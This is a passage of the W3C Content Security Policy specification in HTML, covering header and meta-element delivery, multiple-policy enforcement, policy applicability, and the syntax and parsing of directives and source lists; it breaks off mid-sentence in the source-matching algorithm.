<p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only</code> with a given\n    <a data-link-type=\"dfn\" href=\"#resource-representation\">resource representation</a>.</p>\n     \n\n\n     <p>A server MAY send different\n    <code>Content-Security-Policy-Report-Only</code> header field values\n    with different <a data-link-type=\"dfn\" href=\"#resource-representation\">representations</a> of the same resource or with different\n    resources.</p>\n     \n\n\n     <p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy-Report-Only</code> header field, the\n    user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> each of the policies\n    contained in each such header field.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.3\" id=\"delivery-html-meta-element\"><span class=\"secno\">3.3. </span><span class=\"content\">\n      HTML <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> Element\n    </span><a class=\"self-link\" href=\"#delivery-html-meta-element\"></a></h3>\n     \n\n\n     <p>The server MAY supply policy via one or more HTML <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements\n    with <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv\">http-equiv</a></code> attributes that are an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n    match</a> for the string \"<code>Content-Security-Policy</code>\". For\n    example:</p>\n     \n\n    \n     <pre class=\"example\" id=\"example-ff79af85\"><a class=\"self-link\" href=\"#example-ff79af85\"></a>&lt;meta http-equiv=\"Content-Security-Policy\" content=\"<a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'\">\n</pre>\n     \n\n\n     <p>Add the following entry to the <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/document-metadata.html#pragma-directives\">pragma directives</a> for the <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>\n    element:</p>\n     \n\n    \n     <dl>\n      \n      <dt>\n        Content security policy\n        (<code>http-equiv=\"content-security-policy\"</code>)\n      \n      \n      \n      <dd>\n        \n       <ol>\n          \n        <li>If the Document’s <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-head-element\">head</a></code> element is not an ancestor of the\n          <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element, abort these steps.\n        \n\n          \n        <li>If the <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element lacks a <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute, abort\n          these steps.\n        \n\n          \n        <li>Let <var>policy</var> be the value of the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code>\n          attribute of the <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.\n        \n\n          \n        <li>Let <var>directive-set</var> be the result of\n          <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parsing <var>policy</var></a>.\n        \n\n          \n        <li>\n            Remove all occurrences of <code><a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a></code>,\n            <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code>, and <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code>\n            directives from <var>directive-set</var>.\n\n\n         <p class=\"note\" role=\"note\">Note: User agents are encouraged to issue a warning to developers\n            if one or more of these directives are included in a policy\n            delivered via <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>.</p>\n         \n          \n        \n\n          \n        <li>Enforce each of the <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directives</a> in <var>directive-set</var>,\n          as <a href=\"#directives\">defined for each directive type</a>.\n        \n        \n       </ol>\n       \n      \n      \n    \n     </dl>\n     \n\n\n     <p>Authors are <em>strongly encouraged</em> to place <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements as early\n    in the document as possible, because policies in <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements are not\n    applied to content which precedes them. In particular, note that resources\n    fetched or prefetched using the <code>Link</code> HTTP response header\n    field, and resources fetched or prefetched using <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> and <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code>\n    elements which precede a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>-delivered policy will not be blocked.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: A <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> specified via a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element will be enforced\n    along with any other policies active for the protected resource, regardless\n    of where they’re specified. The general impact of enforcing multiple\n    policies is described in <a href=\"#enforcing-multiple-policies\">§3.4 Enforcing multiple policies.</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: Modifications to the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute of a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element\n    after the element has been parsed will be ignored.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.4\" id=\"enforcing-multiple-policies\"><span class=\"secno\">3.4. </span><span class=\"content\">Enforcing multiple policies.</span><a class=\"self-link\" href=\"#enforcing-multiple-policies\"></a></h3>\n     \n\n\n     <p><em>This section is not normative.</em></p>\n     \n\n\n     <p>The above sections note that when multiple policies are present,\n    each must be enforced or reported, according to its type. An example\n    will help clarify how that ought to work in practice. The behavior of\n    an <code>XMLHttpRequest</code> might seem unclear given a site\n    that, for whatever reason, delivered the following HTTP headers:</p>\n     \n\n    \n     <pre class=\"example\" id=\"example-53073245\"><a class=\"self-link\" href=\"#example-53073245\"></a>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self' http://example.com http://example.net;\n                         <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> 'none';\nContent-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> http://example.com/;\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> http://example.com/\n</pre>\n     \n\n\n     <p>Is a connection to <code>example.com</code> allowed or not? The\n    short answer is that the connection is not allowed. Enforcing both\n    policies means that a potential connection would have to pass through\n    both unscathed. Even though the second policy would allow this\n    connection, the first policy contains <code><a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a>\n    'none'</code>, so its enforcement blocks the connection. The impact is\n    that adding additional policies to the list of policies to enforce can\n    only further restrict the capabilities of the protected resource.</p>\n     \n\n\n     <p>To demonstrate that further, consider a script tag on this page.\n    The first policy would lock scripts down to <code>'self'</code>,\n    <code>http://example.com</code> and <code>http://example.net</code>\n    via the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive. The second, however,\n    would only allow script from <code>http://example.com/</code>. Script\n    will only load if it meets both policy’s criteria: in this case, the only\n    origin that can match is <code>http://example.com</code>, as both\n    policies allow it.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.5\" id=\"which-policy-applies\"><span class=\"secno\">3.5. </span><span class=\"content\">Policy applicability</span><a class=\"self-link\" href=\"#which-policy-applies\"></a></h3>\n     \n\n\n     <p><em>This section is not normative.</em></p>\n     \n\n\n     <p>Policies are associated with an <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, and\n    <a data-link-type=\"dfn\" href=\"#enforce\">enforced</a> or <a data-link-type=\"dfn\" href=\"#monitor\">monitored</a> for that resource.\n    If a resource does not create a new execution context (for example, when\n    including a script, image, or stylesheet into a document), then any policies\n    delivered with that resource are discarded without effect. Its execution is\n    subject to the policy or policies of the including context. The following\n    table outlines examples of these relationships:</p>\n     \n\n    \n     <table>\n      \n      <thead>\n        \n       <tr>\n          \n        <th colspan=\"2\">Resource Type\n        \n          \n        <th>What <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> applies?\n        \n        \n       \n      \n      \n      \n      <tbody>\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"2\">Top-level Contexts\n        \n\n          \n        <td>HTML as a new, top-level browsing context\n        \n          \n        <td>The policy delivered with the resource\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a top-level document\n        \n          \n        <td>Policy delivered with the resource\n        \n        \n       \n\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"3\">Embedded Contexts\n        \n\n          \n        <td>\n            Any resource included via <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, or <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n          \n        \n          \n        <td>\n            The policy of the embedding resource controls <em>what</em> may be\n            embedded. The embedded resource, however, is controlled by the\n            policy delivered with the resource, or the policy of the embedding\n            resource if the embedded resource is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique\n            identifier</a> (or a <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-srcdoc\">srcdoc</a></code> frame).\n          \n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as an embedded document\n        \n          \n        <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>.\n          \n        \n        \n       \n        \n       <tr>\n          \n        <td>\n            JavaScript, as a Worker, Shared Worker or Service Worker\n          \n        \n          \n        <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>\n          \n        \n        \n       \n\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"7\">Subresources\n        \n\n          \n        <td>SVG, inlined via <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/SVG2/struct.html#SVGElement\">svg</a></code>\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a resource document\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>HTML via XMLHttpRequest\n        \n          \n        <td>Policy of the context that performed the fetch\n        \n        \n       \n        \n       <tr>\n          \n        <td>Image via <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code> element\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>JavaScript via a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, via <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code>\n        \n          \n        <td>No policy; should be just as safe as JPG\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a WebFont\n        \n          \n        <td>No policy; should be just as safe as WOFF\n        \n        \n       \n      \n      \n    \n     </table>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"4\" id=\"syntax-and-algorithms\"><span class=\"secno\">4. </span><span class=\"content\">Syntax and Algorithms</span><a class=\"self-link\" href=\"#syntax-and-algorithms\"></a></h2>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.1\" id=\"policy-syntax\"><span class=\"secno\">4.1. </span><span class=\"content\">Policy Syntax</span><a class=\"self-link\" href=\"#policy-syntax\"></a></h3>\n     \n\n\n     <p>A Content Security Policy consists of a U+003B SEMICOLON\n    (<code>;</code>) delimited list of directives. Each <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directive</a>\n    consists of a <a data-link-type=\"dfn\" href=\"#security-policy-directive-name\">directive name</a> and (optionally) a\n    <a data-link-type=\"dfn\" href=\"#security-policy-directive-value\">directive value</a>, defined by the following ABNF:</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"policy_token\">policy-token<a class=\"self-link\" href=\"#policy_token\"></a></dfn>    = [ <a data-link-type=\"dfn\" href=\"#directive_token\">directive-token</a> *( \";\" [ <a data-link-type=\"dfn\" href=\"#directive_token\">directive-token</a> ] ) ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_token\">directive-token<a class=\"self-link\" href=\"#directive_token\"></a></dfn> = *WSP [ <a data-link-type=\"dfn\" href=\"#directive_name\">directive-name</a> [ WSP <a data-link-type=\"dfn\" href=\"#directive_value\">directive-value</a> ] ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_name\">directive-name<a class=\"self-link\" href=\"#directive_name\"></a></dfn>  = 1*( ALPHA / DIGIT / \"-\" )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_value\">directive-value<a class=\"self-link\" href=\"#directive_value\"></a></dfn> = *( WSP / &lt;VCHAR except \";\" and \",\"> )\n</pre>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.1.1\" id=\"policy-parsing\"><span class=\"secno\">4.1.1. </span><span class=\"content\">Parsing Policies</span><a class=\"self-link\" href=\"#policy-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-the-policy\">parse the policy<a class=\"self-link\" href=\"#parse-the-policy\"></a></dfn> <var>policy</var>, the user agent MUST\n      use an algorithm equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let the <var>set of directives</var> be the empty set.\n       \n\n        \n       <li>For each non-empty token returned by\n        <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string\">strictly splitting</a>\n        the string <var>policy</var> on the character U+003B SEMICOLON\n        (<code>;</code>):\n          \n        <ol>\n            \n         <li><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#skip-whitespace\">Skip whitespace</a>.\n         \n\n            \n         <li><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters\">Collect a sequence of characters</a> that are\n            not <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#space-character\">space characters</a>. The collected characters\n            are the <var>directive name</var>.\n         \n\n            \n         <li>If there are characters remaining in <var>token</var>,\n            skip ahead exactly one character (which must be a\n            <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#space-character\">space character</a>).\n         \n\n            \n         <li>The remaining characters in <var>token</var> (if any) are\n            the <var>directive value</var>.\n         \n\n            \n         <li>If the <var>set of directives</var> already contains a\n            directive whose name is a case insensitive match for\n            <var>directive name</var>, ignore this instance of the directive\n            and continue to the next token.\n         \n\n            \n         <li>Add a <var>directive</var> to the <var>set of\n            directives</var> with name <var>directive name</var> and value\n            <var>directive value</var>.\n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>Return the <var>set of directives</var>.\n      \n      </ol>\n      \n    \n     </section>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.2\" id=\"source-list-syntax\"><span class=\"secno\">4.2. </span><span class=\"content\">Source List Syntax</span><a class=\"self-link\" href=\"#source-list-syntax\"></a></h3>\n     \n\n\n     <p>Many CSP directives use a value consisting of a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-list\">source\n    list<a class=\"self-link\" href=\"#source-list\"></a></dfn>, defined in the ABNF grammar below.</p>\n     \n\n\n     <p>Each <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-expression\">source expression<a class=\"self-link\" href=\"#source-expression\"></a></dfn> in the source list represents a\n    location from which content of the specified type can be retrieved.\n    For example, the source expression <code>'none'</code> represents\n    the empty set of URLs, and the source expression\n    <code>'unsafe-inline'</code> represents content supplied inline in the\n    resource itself.</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_list\">source-list<a class=\"self-link\" href=\"#source_list\"></a></dfn>       = *WSP [ <a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a> ) *WSP ]\n                  / *WSP \"'none'\" *WSP\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_expression\">source-expression<a class=\"self-link\" href=\"#source_expression\"></a></dfn> = <a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a> / <a data-link-type=\"dfn\" href=\"#host_source\">host-source</a> / <a data-link-type=\"dfn\" href=\"#keyword_source\">keyword-source</a> / <a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a> / <a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"scheme_source\">scheme-source<a class=\"self-link\" href=\"#scheme_source\"></a></dfn>     = <a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a> \":\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_source\">host-source<a class=\"self-link\" href=\"#host_source\"></a></dfn>       = [ <a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a> \"://\" ] <a data-link-type=\"dfn\" href=\"#host_part\">host-part</a> [ <a data-link-type=\"dfn\" href=\"#port_part\">port-part</a> ] [ <a data-link-type=\"dfn\" href=\"#path_part\">path-part</a> ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"keyword_source\">keyword-source<a class=\"self-link\" href=\"#keyword_source\"></a></dfn>    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"base64_value\">base64-value<a class=\"self-link\" href=\"#base64_value\"></a></dfn>      = 1*( ALPHA / DIGIT / \"+\" / \"/\" )*2( \"=\" )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"nonce_value\">nonce-value<a class=\"self-link\" href=\"#nonce_value\"></a></dfn>       = <a data-link-type=\"dfn\" href=\"#base64_value\">base64-value</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_value\">hash-value<a class=\"self-link\" href=\"#hash_value\"></a></dfn>        = <a data-link-type=\"dfn\" href=\"#base64_value\">base64-value</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"nonce_source\">nonce-source<a class=\"self-link\" href=\"#nonce_source\"></a></dfn>      = \"'nonce-\" <a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a> \"'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_algo\">hash-algo<a class=\"self-link\" href=\"#hash_algo\"></a></dfn>         = \"sha256\" / \"sha384\" / \"sha512\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_source\">hash-source<a class=\"self-link\" href=\"#hash_source\"></a></dfn>       = \"'\" <a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a> \"-\" <a data-link-type=\"dfn\" href=\"#hash_value\">hash-value</a> \"'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"scheme_part\">scheme-part<a class=\"self-link\" href=\"#scheme_part\"></a></dfn>       = &lt;scheme production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">RFC 3986, section 3.1</a>>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_part\">host-part<a class=\"self-link\" href=\"#host_part\"></a></dfn>         = \"*\" / [ \"*.\" ] 1*<a data-link-type=\"dfn\" href=\"#host_char\">host-char</a> *( \".\" 1*<a data-link-type=\"dfn\" href=\"#host_char\">host-char</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_char\">host-char<a class=\"self-link\" href=\"#host_char\"></a></dfn>         = ALPHA / DIGIT / \"-\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"path_part\">path-part<a class=\"self-link\" href=\"#path_part\"></a></dfn>         = &lt;path production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">RFC 3986, section 3.3</a>>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"port_part\">port-part<a class=\"self-link\" href=\"#port_part\"></a></dfn>         = \":\" ( 1*DIGIT / \"*\" )\n</pre>\n     \n\n\n     <p>If the policy contains a <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> expression, the\n    server MUST generate a fresh value for the <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code>\n    directive at random and independently each time it transmits a policy.\n    The generated value SHOULD be at least 128 bits long (before encoding),\n    and generated via a cryptographically secure random number generator.\n    This requirement ensures that the <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code> is\n    difficult for an attacker to predict.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: Using a nonce to whitelist inline script or style is less secure than\n    not using a nonce, as nonces override the restrictions in the directive in\n    which they are present. An attacker who can gain access to the nonce can\n    execute whatever script they like, whenever they like. That said, nonces\n    provide a substantial improvement over <code>'unsafe-inline'</code> when\n    layering a content security policy on top of old code. When considering\n    <code>'unsafe-inline'</code>, authors are encouraged to consider nonces (or\n    hashes) instead.</p>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#host_char\">host-char</a></code> production intentionally contains only\n    ASCII characters; internationalized domain names cannot be entered\n    directly into a policy string, but instead MUST be Punycode-encoded\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc3492\">[RFC3492]</a>. For example, the domain <code>üüüüüü.de</code> would be\n    encoded as <code>xn--tdaaaaaa.de</code>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">NOTE: Though IP addresses do match the grammar above, only\n    <code>127.0.0.1</code> will actually match a URL when used in a source\n    expression (see <a href=\"#match-source-expression\">§4.2.2 Matching Source Expressions</a> for details). The security\n    properties of IP addresses are suspect, and authors ought to prefer\n    hostnames to IP addresses whenever possible.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.1\" id=\"source-list-parsing\"><span class=\"secno\">4.2.1. </span><span class=\"content\">Parsing Source Lists</span><a class=\"self-link\" href=\"#source-list-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-a-source-list\">parse a source list<a class=\"self-link\" href=\"#parse-a-source-list\"></a></dfn>\n      <var>source list</var>, the user agent MUST use an algorithm\n      equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">Strip leading and trailing whitespace</a> from\n        <var>source list</var>.\n       \n\n        \n       <li>If <var>source list</var> is an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a>\n        for the string <code>'none'</code> (including the quotation\n        marks), return the empty set.\n       \n\n        \n       <li>Let <var>set of source expressions</var> be the empty\n        set.\n       \n\n        \n       <li>For each token returned by\n        <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting <var>source\n        list</var> on spaces</a>, if the token matches the grammar for\n        <code><a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a></code>, add the token to the <var>set\n        of source expressions</var>.\n       \n\n        \n       <li>Return the <var>set of source expressions</var>.\n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Characters like U+003B SEMICOLON (<code>;</code>) and\n      U+002C COMMA (<code>,</code>) cannot appear in source expressions\n      directly: if you’d like to include these characters in a source\n      expression, they must be <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#percent-encode\">percent\n      encoded</a> as <code>%3B</code> and <code>%2C</code> respectively.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.2\" id=\"match-source-expression\"><span class=\"secno\">4.2.2. </span><span class=\"content\">Matching Source Expressions</span><a class=\"self-link\" href=\"#match-source-expression\"></a></h4>\n      \n\n\n      <p>A URL <var>url</var> is said to <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"match-a-source-expression\">match a source expression<a class=\"self-link\" href=\"#match-a-source-expression\"></a></dfn> for\n      a <var>protected resource</var> if the following algorithm returns\n      <em>does match</em>:</p>\n      \n\n      \n      <ol>\n        \n       <li>\n          Let <var>url</var> be the result of processing the URL through the\n          <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-parser\">URL parser</a>.\n        \n       \n\n        \n       <li>\n          If the source expression a consists of a single U+002A ASTERISK\n          character (<code>*</code>), and <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-scheme\">scheme</a> is not\n          one of <code>blob</code>, <code>data</code>, <code>filesystem</code>,\n          then return <em>does match</em>.\n        \n       \n\n        \n       <li>\n          If the source expression matches the grammar for\n          <code><a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a></code>:\n\n          \n        <ol>\n            \n         <li>\n              If <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-scheme\">scheme</a> is an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n              match</a> for the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a></code>, return <em>does match</em>.\n            \n         \n\n            \n         <li>\n              Otherwise, return <em>does not match</em>.\n            \n         \n          \n        </ol>\n        \n        \n       \n        \n       <li>\n          If the source expression matches the grammar for\n          <code><a data-link-type=\"dfn\" href=\"#host_source\">host-source</a></code>:\n\n          \n        <ol>\n            \n         <li>\n              If <var>url</var>’s <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-host\">host</a> is <code>null</code>,\n              return <em>does not match</em>.\n            \n         \n            \n         <li>\n              Let <var>url-scheme</var>, <var>url-host</var>, and\n              <var>url-port</var> be the <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>, <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-host\">host</a>, and\n              <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-port\">port</a> of <var>url</var>’s origin, respectively.\n\n\n          <p class=\"note\" role=\"note\">Note: If <var>url</var> doesn’t specify a port, then its origin’s\n              port will be the <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#default-port\">default port</a> for <var>url</var>’s\n              <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>.</p>\n          \n            \n         \n            \n         <li>\n              Let <var>url-path-list</var> be the <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-path\">path</a> of <var>url</var>.\n            \n         \n            \n         <li>\n              If the source expression has a <code><a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a></code>\n              that is not a case insensitive match for <var>url-scheme</var>,\n              then return <em>does not match</em>.\n            \n         \n            \n         <li>\n              If the source expression does <strong>not</strong> have a\n              scheme, return <em>does not match</em> if any of the following\n              are true:\n\n              \n          <ol>\n                \n           <li>\n                  the scheme of the protected resource’s URL is a case\n                  insensitive match for <code>HTTP</code>, and\n                  <var>url-scheme</var> is <strong>not</strong> a case\n                  insensitive match for either <code>HTTP</code> or\n                  <code>HTTPS</code>\n                \n           \n                \n           <li>\n                  the scheme of the protected resource’s URL is\n                  <strong>not</strong> a case insensitive match for\n                  <code>HTTP</code>, and <var>url-scheme</var> is\n                  <strong>not</strong> a case insensitive match\n                  for the scheme of the protected resource’s URL.\n                \n           \n              \n          </ol>\n          \n            \n         \n            \n         <li>\n              If the first character of the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> is an U+002A ASTERISK character\n              (<code>*</code>) and the remaining characters, including the\n              leading U+002E FULL STOP character (<code>.</code>), are not a\n              case insensitive match for the rightmost characters of\n              <var>url-host</var>, then return <em>does not match</em>.\n            \n         \n\n            \n         <li>\n              If the first character of 